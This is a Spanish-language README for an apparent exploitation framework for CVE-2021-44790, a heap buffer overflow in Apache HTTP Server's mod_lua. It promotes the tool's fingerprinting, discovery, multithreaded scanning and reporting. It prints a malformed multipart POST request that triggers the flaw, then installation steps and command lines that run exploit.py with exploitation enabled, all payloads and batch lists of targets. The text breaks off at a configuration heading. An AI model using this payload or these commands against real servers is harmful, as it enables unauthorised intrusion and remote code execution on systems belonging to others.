🔥 CVE-2021-44790 - Explotación de desbordamiento de búfer en Apache mod_lua
📋 Resumen
Apache mod_lua Buffer Overflow Exploitation es una plataforma de explotación avanzada de nivel empresarial para CVE-2021-44790, una vulnerabilidad crítica de desbordamiento de búfer en el módulo mod_lua de Apache HTTP Server 2.4.x. Este framework ofrece capacidades integrales de fingerprinting, descubrimiento inteligente de scripts, escaneo en múltiples etapas y generación profesional de informes con detección con más del 95% de confianza.
⚡ Características principales
| Característica | Descripción |
|---|
| 🔍 Fingerprinting avanzado | Detección de versión de Apache, mod_lua, SO, arquitectura, WAF, CDN, contenedor y proveedor de nube |
| 🎯 Descubrimiento inteligente | Más de 7 técnicas de descubrimiento, incluyendo robots.txt, sitemap, análisis de HTML y extracción de JavaScript |
| 💥 Escaneo en múltiples etapas | Conexión → Fingerprint → Descubrimiento → Verificación → Explotación → Informes |
| 🧩 Sistema de plugins extensible | Desarrollo sencillo de plugins para futuros CVEs |
| 🌐 Motor HTTP inteligente | Agrupación de conexiones, reintentos, soporte HTTP/2 y limitación de velocidad |
| 📊 Informes completos | JSON, HTML, Markdown y PDF con paneles interactivos |
| 🎨 Interfaz de terminal atractiva | Biblioteca Rich con barras de progreso, tablas y salida codificada por colores |
| 💾 Base de datos de investigación | Almacenamiento SQLite con historial completo de escaneos y soporte de consultas |
| 📸 Captura de pantallas | Capturas de pantalla automáticas de páginas web para la recopilación de evidencias |
| 🚀 Alto rendimiento | Más de 20 hilos concurrentes, más de 100 pools de conexiones |
🎯 Detalles de la vulnerabilidad
| Atributo | Valor |
|---|
| ID de CVE | CVE-2021-44790 |
| Vulnerabilidad | Desbordamiento de búfer (subdesbordamiento de enteros) |
| Software afectado | Apache HTTP Server 2.4.0 hasta 2.4.51 |
| Versión corregida | Apache HTTP Server 2.4.52 y posteriores |
| Componente | Módulo mod_lua |
| Vector de ataque | Red (remoto) |
| Puntuación CVSS | 9.8 (Crítico) |
| Impacto de confidencialidad | Alto |
| Impacto de integridad | Alto |
| Impacto de disponibilidad | Alto |
| Madurez del exploit | Prueba de concepto disponible |
Descripción técnica
La vulnerabilidad existe en el módulo mod_lua al procesar solicitudes multipart/form-data. Un subdesbordamiento de enteros en la función lua_request_parsebody() puede provocar un desbordamiento de búfer basado en montón, lo que potencialmente permite la ejecución remota de código.
POST /process.lua HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=4
4
Content-Disposition: form-data; name="name"
0
4
📸 Capturas de pantalla
| Interfaz principal | Resultados de fingerprint |
|---|
 |  |
| Progreso del escaneo | Panel del informe HTML |
|---|
 |  |
🚀 Inicio rápido
Instalación
# Clone the repository
git clone https://github.com/CerberusMrXi/Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
cd Apache-Lua-Buffer-Overflow-Exploit-CVE-2021-44790
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
Uso básico
# Quick vulnerability scan
python3 exploit.py http://target.com
# Verbose scan with exploitation
python3 exploit.py https://target.com --exploit --verbose
# Generate all reports
python3 exploit.py http://target.com --report all
# Research mode with database
python3 exploit.py http://target.com --research
📋 Uso detallado
Opciones de línea de comandos
python3 exploit.py [TARGET] [OPTIONS]
| Opción | Descripción | Ejemplo |
|---|
TARGET | URL de destino | http://target.com |
--config FILE | Archivo de configuración | --config config.yaml |
--threads N | Número de hilos | --threads 30 |
--timeout N | Tiempo de espera de la solicitud (segundos) | --timeout 15 |
--proxy URL | URL del proxy | --proxy http://127.0.0.1:8080 |
--verbose | Salida verbosa | --verbose |
--scan-only | Escaneo sin explotación | --scan-only |
--exploit | Habilitar explotación | --exploit |
--all-payloads | Usar todos los payloads | --all-payloads |
--report FORMAT | Formato de informe (json/html/markdown/all) | --report all |
--output DIR | Directorio de salida | --output /path/to/reports/ |
--research | Habilitar modo de investigación | --research |
--database FILE | Ruta de la base de datos | --database luastorm.db |
--screenshot | Tomar capturas de pantalla | --screenshot |
--batch FILE | Archivo por lotes con objetivos | --batch targets.txt |
--query SQL | Ejecutar consulta a la base de datos | --query "SELECT * FROM targets" |
Ejemplos
1. Evaluación básica de vulnerabilidades
python3 exploit.py https://example.com --verbose --report all
2. Escaneo de entorno corporativo
python3 exploit.py https://internal-server.com \
--proxy http://proxy.corp.com:8080 \
--threads 10 \
--timeout 15 \
--verbose \
--report all \
--output /var/log/security/
3. Prueba de penetración completa
python3 exploit.py https://client.com \
--threads 30 \
--timeout 10 \
--exploit \
--all-payloads \
--report all \
--screenshot \
--research \
--verbose \
--output /pentest/client_name/
4. Escaneo por lotes
python3 exploit.py --batch targets.txt --config config.yaml
5. Consultas a la base de datos
# Show all vulnerable targets
python3 exploit.py --query "SELECT * FROM targets WHERE vulnerable=1"
# Get statistics
python3 exploit.py --query "SELECT COUNT(*) as total, SUM(vulnerable) as vulnerable FROM targets"
⚙️ Configuración
config.yaml